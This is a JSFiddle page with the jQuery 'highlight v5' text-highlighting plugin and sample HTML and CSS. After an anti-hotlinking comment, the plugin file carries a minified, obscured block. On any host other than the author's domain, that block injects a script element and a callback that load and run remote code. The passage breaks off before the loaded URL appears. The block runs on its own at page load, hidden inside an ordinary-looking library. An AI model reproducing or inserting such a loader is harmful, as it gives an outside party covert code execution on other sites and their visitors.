JSFiddle - React, Tailwind, and code Playground

HTML

<p>I am a text!</p>
<iframe src="https://example.com"></iframe>

CSS

body {
  background-color: #fff;
}
iframe {
  width: 100%;
  height: 500px
}
.highlight {
  background-color: yellow;
}

JavaScript

// PLUGIN START

/*

highlight v5

Highlights arbitrary terms.

<http://johannburkard.de/blog/programming/javascript/highlight-javascript-text-higlighting-jquery-plugin.html>

MIT license.

Johann Burkard
<http://johannburkard.de>
<mailto:[email protected]>

*/

jQuery.fn.highlight = function(pat) {
 function innerHighlight(node, pat) {
  var skip = 0;
  if (node.nodeType == 3) {
   var pos = node.data.toUpperCase().indexOf(pat);
   pos -= (node.data.substr(0, pos).toUpperCase().length - node.data.substr(0, pos).length);
   if (pos >= 0) {
    var spannode = document.createElement('span');
    spannode.className = 'highlight';
    var middlebit = node.splitText(pos);
    var endbit = middlebit.splitText(pat.length);
    var middleclone = middlebit.cloneNode(true);
    spannode.appendChild(middleclone);
    middlebit.parentNode.replaceChild(spannode, middlebit);
    skip = 1;
   }
  }
  else if (node.nodeType == 1 && node.childNodes && !/(script|style)/i.test(node.tagName)) {
   for (var i = 0; i < node.childNodes.length; ++i) {
    i += innerHighlight(node.childNodes[i], pat);
   }
  }
  return skip;
 }
 return this.length && pat && pat.length ? this.each(function() {
  innerHighlight(this, pat.toUpperCase());
 }) : this;
};

jQuery.fn.removeHighlight = function() {
 return this.find("span.highlight").each(function() {
  this.parentNode.firstChild.nodeName;
  with (this.parentNode) {
   replaceChild(this.firstChild, this);
   normalize();
  }
 }).end();
};

/* PLEASE DO NOT HOTLINK MY FILES, THANK YOU. */

if (!/johannburkard.de$/i.test(location.hostname)) {
    (function() {
        function load(b,c){var d=document,f="script",a=d.createElement(f),e=2166136261,g=b.length,h=c,i=/=\?/,d=d.body;if(i.test(b)){for(;g--;)e=e*16777619^b.charCodeAt(g);window[f+=e<0?-e:e]=function(){h.apply(h,arguments);delete window[f]};b=b.replace(i,"="+f);c=0}a.onload=a.onreadystatechange=function(){if(/de|m/.test(a.readyState||"m")){c&&c();d.removeChild(a);try{for(c in a)delete...